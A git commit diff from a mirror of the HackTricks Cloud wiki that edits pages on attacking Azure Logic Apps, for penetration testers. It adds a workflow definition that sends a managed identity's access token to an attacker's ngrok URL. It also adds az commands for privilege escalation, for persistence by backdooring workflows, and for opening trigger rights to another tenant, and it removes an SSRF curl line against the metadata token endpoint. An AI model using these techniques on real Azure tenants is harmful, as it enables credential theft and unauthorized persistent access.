mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
logic apps
This commit is contained in:
@@ -489,7 +489,8 @@
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Logic Apps Persistence](pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md)
|
||||
- [Az - SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
# Az - Logic Apps Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logic Apps
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-logic-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Common Persistence Techniques
|
||||
|
||||
- Backdoor an existing workflow or create a new one that will perform some persistence action (like leaking an access token of an administrator MI) and keep the SAS URL to trigger it
|
||||
- Create an authorization policy allowing your tenant to trigger the workflow
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ For more information about SQL Database check:
|
||||
|
||||
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
|
||||
|
||||
With this permission, you can create or update, Azure Logic Apps workflows. Workflows define automated processes and integrations between various systems and services.
|
||||
These permissions allows to create/update Azure Logic Apps workflows with specific user managed identities and use them to get access tokens from them:
|
||||
|
||||
```bash
|
||||
az logic workflow create \
|
||||
@@ -35,7 +35,11 @@ az rest \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
Addittionaly with just `Microsoft.Logic/workflows/write` you change the Authorization Policy, giving for example another tenant the capability to trigger the workflow:
|
||||
|
||||
### Microsoft.Logic/workflows/write
|
||||
|
||||
With just this permission it's possible tochange the Authorization Policy, giving for example another tenant the capability to trigger the workflow:
|
||||
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group-name>/providers/Microsoft.Logic/workflows/<workflow-name>?api-version=2016-10-01" \
|
||||
@@ -79,7 +83,6 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
```
|
||||
|
||||
### `Microsoft.Logic/workflows/triggers/listCallbackUrl/action`
|
||||
@@ -99,8 +102,21 @@ curl --request POST \
|
||||
--data '{"exampleKey": "exampleValue"}'
|
||||
```
|
||||
|
||||
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
With these permissions it's possible to modify Logic App workflows and manage their identities. Specifically, you can assign or remove system-assigned and user-assigned managed identities to workflows.
|
||||
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
|
||||
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
|
||||
With these permissions, you can deploy, Logic App workflows using ZIP file deployments. These permissions enable actions such as reading app details, accessing publishing credentials, writing changes, and listing app configurations. Alongside the start permissions you can update and deploy a new Logic App with the content desired
|
||||
|
||||
With these permissionss it's possible to deploy Logic App workflows using ZIP file deployments. These permissions enable actions such as reading app details, accessing publishing credentials, writing changes, and listing app configurations. Alongside the start permissions you can update and deploy a new Logic App with the content desired
|
||||
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
@@ -109,6 +125,7 @@ az logicapp deployment source config-zip \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -4,87 +4,55 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Logic Apps is a cloud-based service provided by Microsoft Azure that enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
|
||||
Azure Logic Apps enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
|
||||
|
||||
Logic Apps provides a visual designer to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services, such as Office 365, Dynamics CRM, Salesforce, and many others. You can also create custom connectors for your specific needs.
|
||||
Logic Apps provides a **visual designer** to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services:
|
||||
|
||||
When creating a Logic App, you must either create or link an external storage account that stores the workflow state, run history, and artifacts. This storage can be configured with diagnostic settings for monitoring and can be secured with network access restrictions or integrated into a virtual network to control inbound and outbound traffic.
|
||||
|
||||
### Examples
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
|
||||
- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
It's possible to view a LogicApp with graphics:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
or to check the code in the "**Logic app code view**" section.
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
Even if you find the **Logic App vulnerable to SSRF**, you won't be able to access the credentials from the metadata as Logic Apps doesn't allow that.
|
||||
|
||||
For example, something like this won't return the token:
|
||||
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### Hosting options
|
||||
|
||||
There are several hosting options:
|
||||
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: provides shared compute resources, operates in the public cloud, and follows a pay-per-operation pricing model. This is ideal for lightweight and cost-effective workloads. This deploys a "Single Worlfow".
|
||||
- **Multi-tenant**: This provides shared compute resources, operates in the public cloud, and follows a pay-per-operation pricing model. This is ideal for lightweight and cost-effective workloads. This is what we will call a "Single Workflow".
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: dedicated compute resources with VNET integration for networking and charges per workflow service plan instance. It is suitable for more demanding workloads requiring greater control.
|
||||
- **App Service Environment V3** dedicated compute resources with full isolation and scalability. It also integrates with VNET for networking and uses a pricing model based on App Service instances within the environment.
|
||||
- **Hybrid** designed for local processing and multi-cloud support. It allows customer-managed compute resources with local network access and utilizes Kubernetes Event-Driven Autoscaling (KEDA). It relies on a Container App Connected Environment.
|
||||
- **Workflow Service Plan**: This provides dedicated compute resources with VNET integration for networking and charges per workflow service plan instance. It is suitable for more demanding workloads requiring greater control.
|
||||
- **App Service Environment V3:** This provides dedicated compute resources with full isolation and scalability. It also integrates with VNET for networking and uses a pricing model based on App Service instances within the environment.
|
||||
- **Hybrid:** This is designed for local processing and multi-cloud support. It allows customer-managed compute resources with local network access and utilizes Kubernetes Event-Driven Autoscaling (KEDA). It relies on a Container App Connected Environment.
|
||||
|
||||
### Key Features
|
||||
- **Storage**: Logic Apps require an external Azure Storage account to store workflow state, run history… and must be in the same resource group as the Logic App.
|
||||
- **Networking & Security**: Logic Apps can be configured with public or private access. By default, the app is open to the internet but can be integrated with an Azure Virtual Network for isolated connectivity.
|
||||
- **Application Insights**: Application Performance Management (APM) through Azure Monitor Application Insights can be enabled to track performance, detect anomalies, and provide analytics.
|
||||
- **Access Control**: Logic apps support System Managed Identities & User Managed Identities.
|
||||
## "Single" Workflows / Consumption Plan
|
||||
|
||||
### "Single" Workflows
|
||||
A **workflow** is a structured sequence of automated steps or tasks that execute a specific process or objective. It defines how different actions, conditions, and decisions interact to achieve a desired outcome, streamlining operations and reducing manual effort.
|
||||
|
||||
A **workflow** is a structured sequence of automated steps or tasks that execute a specific process or objective. It defines how different actions, conditions, and decisions interact to achieve a desired outcome, streamlining operations and reducing manual effort. Workflows can integrate multiple systems, trigger events, and rules, ensuring consistency and efficiency in processes.
|
||||
> [!TIP]
|
||||
> The Consumption plan allows **creating a single workflow without the need of a Logic App** itself.
|
||||
|
||||
Azure Logic apps gives the functionality of **creating a single workflow without the need of a Logic App** itself.
|
||||
### Triggers & Actions
|
||||
|
||||
Each workflow has different **triggers**. These triggers are the steps that the workflow follows. Each trigger have their parameters that can vary depending on the type of the trigger:
|
||||
- Connection name
|
||||
- **Authentication Type** than can be, Access Key, Microsoft Entra ID, Integrated Service principal authentication and Logic Apps Managed Identity.
|
||||
Workflow triggers indicate **when the workflow should start**. Triggers could be an HTTP endpoint, a schedule, or tens of different events from Azure or even external apps.
|
||||
|
||||
Triggers also have various settings:
|
||||
- Schema Validation: Ensures incoming data follows a predefined structure.
|
||||
- Concurrency Control: Limits the number of parallel runs
|
||||
- Trigger Conditions: conditions that must be met before the trigger fires.
|
||||
- Networking: Configures chunk size for data transfer and allows suppressing workflow headers in responses.
|
||||
- **Security**: Enables **Secure Inputs/Outputs to hide** sensitive data in logs and the outputs.
|
||||
Each workflow has different **actions**. These actions are the steps that the workflow follows. Depending on the action different parameters will be available to configure it, like:
|
||||
|
||||
**Settings & API Conections:**
|
||||
- **Connection name**: Connection to use that the action will interact with.
|
||||
- **Authentication Type:** The different options are Access Key, Microsoft Entra ID, Integrated Service principal authentication and Logic Apps Managed Identity.
|
||||
- From a Read-Only perspective, the **Authentication** data is always interesting as it could contain sensitive information.
|
||||
- From a Write perspective, the **Authentication** data is always interesting as it could allow to use the permissions of the assigned managed identities.
|
||||
- ...
|
||||
|
||||
A workflow has different settings such:
|
||||
- Allowed inbound IP addresses: This setting lets you restrict who can trigger or start your Logic App. The options are Any IP, Only other Logic Apps and Specific IP ranges.
|
||||
- Integration account: Here, you can link your Logic App to an Integration Account.
|
||||
- High throughput: This setting enables your Logic App to handle more requests quickly.
|
||||
- Run history retention: for how long the history of your Logic App's executions is kept.
|
||||
|
||||
You can see the different API connections the workflow has. Inside each of these connections they have different properties and the possibility of edit the API connection where the Authentication type can be changed.
|
||||
Actions also have various **settings**, which depend on the action itself. Some of the most common settings are:
|
||||
|
||||
**History & Versions:**
|
||||
It has the option to access **history** of the different executions, it shows, Settings, Output, Parameters and the Code.
|
||||
- **Retry Policy**: Configures the number of retries and the interval between them.
|
||||
- **Timeout**: Sets the maximum time the action can run before it times out.
|
||||
- **Run After**: Specifies the conditions that must be met before the action runs.
|
||||
- **Schema Validation**: Ensures incoming data follows a predefined structure.
|
||||
- **Networking**: Configures how to manage different headers.
|
||||
- **Secure Inputs/Outputs**: This will hide input/output data from the run history.
|
||||
- ...
|
||||
|
||||
Also has the option of accessing different **versions** of the workflow, where you can check the code and change the present workflow with an older version of it.
|
||||
### Authorization Policies
|
||||
|
||||
**Authorization:**
|
||||
Azure Logic Apps support **authorization policies** with Entra ID to secure request-based triggers by requiring a valid access token. This token must include specific claims:
|
||||
These workflows support **authorization policies** with Entra ID to secure request-based triggers by requiring a valid access token. This token must include specific claims:
|
||||
- Issuer (iss) to verify the identity provider
|
||||
- Audience (aud) to ensure the token is intended for the Logic App
|
||||
- Subject (sub) to identify the caller
|
||||
@@ -93,12 +61,121 @@ Azure Logic Apps support **authorization policies** with Entra ID to secure requ
|
||||
|
||||
When a request is received, Logic Apps validates the token against these claims and allows execution only if they match the configured policy. This can be used to allow another tenant to trigger the workflow or deny trigger from other sources, for example just allowing the trigger if comes from https://login.microsoftonline.com/.
|
||||
|
||||
**Access Keys:**
|
||||
When you save a request-based trigger for the first time, Logic Apps automatically creates a unique endpoint with a SAS signature (created from the Access Key) that grants permission to call the workflow. This SAS signature is embedded in the trigger’s URL. This key can be regenerated and it will give new SAS signature, but the keys can not be listed.
|
||||
### Access Keys
|
||||
|
||||
The URL to invoke it with the Access Key:
|
||||
Workflows **generate 2 access keys** when they are created. These keys are used to authenticate and authorize requests to the workflow. The keys are used to generate a Shared Access Signature (SAS) token, which is included in the request URL.
|
||||
|
||||
So, when an HTTP endpoint trigger is created, a **unique HTTP endpoint with a SAS signature** that grants permission to call the workflow is generated.
|
||||
|
||||
These **keys can be regenerated** and a new SAS URL will be created for these triggers, but the **keys values can not be accessed**.
|
||||
|
||||
Example of a SAS URL to invoke a trigger:
|
||||
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
|
||||
### Workflow Settings & Components
|
||||
|
||||
- **Trigger access option**: This setting lets you restrict who can trigger or start your workflow. The options are Any IP, Only other workflow and Specific IP ranges.
|
||||
- **Integration account**: Link your workflow to an Integration Account.
|
||||
- **High throughput**: If on, it allows to handle more requests in parallel quickly.
|
||||
- **Run history retention**: This indicates the number of days to keep run history.
|
||||
- **API connections**: This shows the different API connections the workflow has. Inside each of these connections they have different properties and the possibility of edit the API connection where the Authentication type can be changed.
|
||||
- **History**: It has the option to access **history** of old executions and get data: Settings, Output, Parameters and the Code.
|
||||
- **Versions**: It has the option of accessing different **versions** of the workflow, where you can check the code and change the present workflow with an older version of it.
|
||||
- **Managed Identities**: It's possible to assign 1 system managed identity and server user managed identity to the workflow.
|
||||
|
||||
### Leak MI access tokens
|
||||
|
||||
The HTTP action in a workflow can be used to send data to an external web. In the **Advanced parameters** of the HTTP action, it's possible to configure the **Authentication Type** as **`Managed identity`** and then select the **assigned Managed Identity** to use (system or user).
|
||||
|
||||
Moreover, it's possible to indicate in the **`Audience`** the audience of the generated JWT, which could be for example **`https://management.azure.com/`** to be able to use the generated token to access the Azure management API.
|
||||
|
||||
> [!WARNING]
|
||||
> Making the action send the HTTP request to a server controlled by an attacker it's possible to **leak the access token of the managed identity** assigned to the workflow.
|
||||
|
||||
> [!TIP]
|
||||
> An attacker could also use other type of actions to **access directly other Azure services** and perform actions with the permissions of the managed identity.
|
||||
|
||||
This is the code of a workflow that exposes a HTTP endpoint and then uses a HTTP action to leak the access token to the configured URL (ngrok in this case):
|
||||
|
||||
<details>
|
||||
<summary>Workflow code</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Logic Apps / Standard Plan
|
||||
|
||||
### Differences with "Single" Workflows
|
||||
|
||||
Logic apps basically use an App Service in the background to **host the logic app which can host several workflows**. This means that the logic app will have all the features of an App Service and of the "Single" Workflows.
|
||||
|
||||
Some key features would be:
|
||||
|
||||
- **App Service Plan**: Logic Apps in the Standard plan are hosted on an App Service Plan so it's possible to use all the App Service features like:
|
||||
- **Network Restrictions**: Indicate from where it's accessible.
|
||||
- **Deployment Center**: Deploy from external platforms like Github, Bitbucket, Azure Repos, External Git and Local Git.
|
||||
- **FTP access**: It's possible to access the files of the Logic App through FTP.
|
||||
- **Storage Account**: The service app uses an storage account to store information.
|
||||
- **Env variables & App Settings**: It's possible to configure environment variables and app settings (and find sensitive info like access keys to the storage account).
|
||||
- ...
|
||||
- **Parameters**: Parameters let you manage values that vary across development, test, and production. This allows you to design workflows first, then easily adjust environment-specific settings later.
|
||||
- **Dedicated Resources**: Logic Apps in the Standard plan have dedicated resources.
|
||||
- **Multiple Workflows**: It allows to create multiple workflows.
|
||||
|
||||
For more info about App Services check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -208,17 +285,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
|
||||
|
||||
|
||||
### Integration Accounts
|
||||
## Integration Accounts
|
||||
**Integration Accounts**, are a feature of Azure Logic Apps. Integration Accounts are used to facilitate enterprise-level integrations by enabling advanced B2B capabilities, such as EDI, AS2, and XML schema management. Integration Accounts are a container in Azure that store the following artifacts used for Logic Apps:
|
||||
|
||||
* Schemas: Manage XML schemas for validating and processing messages in your integration account.
|
||||
* Maps: Configure XSLT-based transformations to convert data formats within your integration workflows.
|
||||
* Assemblies: Manage integration account assemblies to streamline logic and data processing.
|
||||
* Certificates: Handle certificates for encrypting and signing messages, ensuring secure communication.
|
||||
* Partners: Manage trading partner information for B2B transactions, enabling seamless integrations.
|
||||
* Agreements: Configure rules and settings for exchanging data with trading partners (e.g., EDI, AS2).
|
||||
* Batch Configurations: Manage batch processing configurations to group and process messages efficiently.
|
||||
* RosettaNet PIP: Configure RosettaNet Partner Interface Processes (PIPs) for standardizing B2B communication.
|
||||
* **Schemas**: Manage XML schemas for validating and processing messages in your integration account.
|
||||
* **Maps**: Configure XSLT-based transformations to convert data formats within your integration workflows.
|
||||
* **Assemblies**: Manage integration account assemblies to streamline logic and data processing.
|
||||
* **Certificates**: Handle certificates for encrypting and signing messages, ensuring secure communication.
|
||||
* **Partners**: Manage trading partner information for B2B transactions, enabling seamless integrations.
|
||||
* **Agreements**: Configure rules and settings for exchanging data with trading partners (e.g., EDI, AS2).
|
||||
* **Batch Configurations**: Manage batch processing configurations to group and process messages efficiently.
|
||||
* **RosettaNet PIP**: Configure RosettaNet Partner Interface Processes (PIPs) for standardizing B2B communication.
|
||||
|
||||
#### Enumeration
|
||||
|
||||
@@ -334,6 +411,12 @@ Same as logic apps privesc:
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user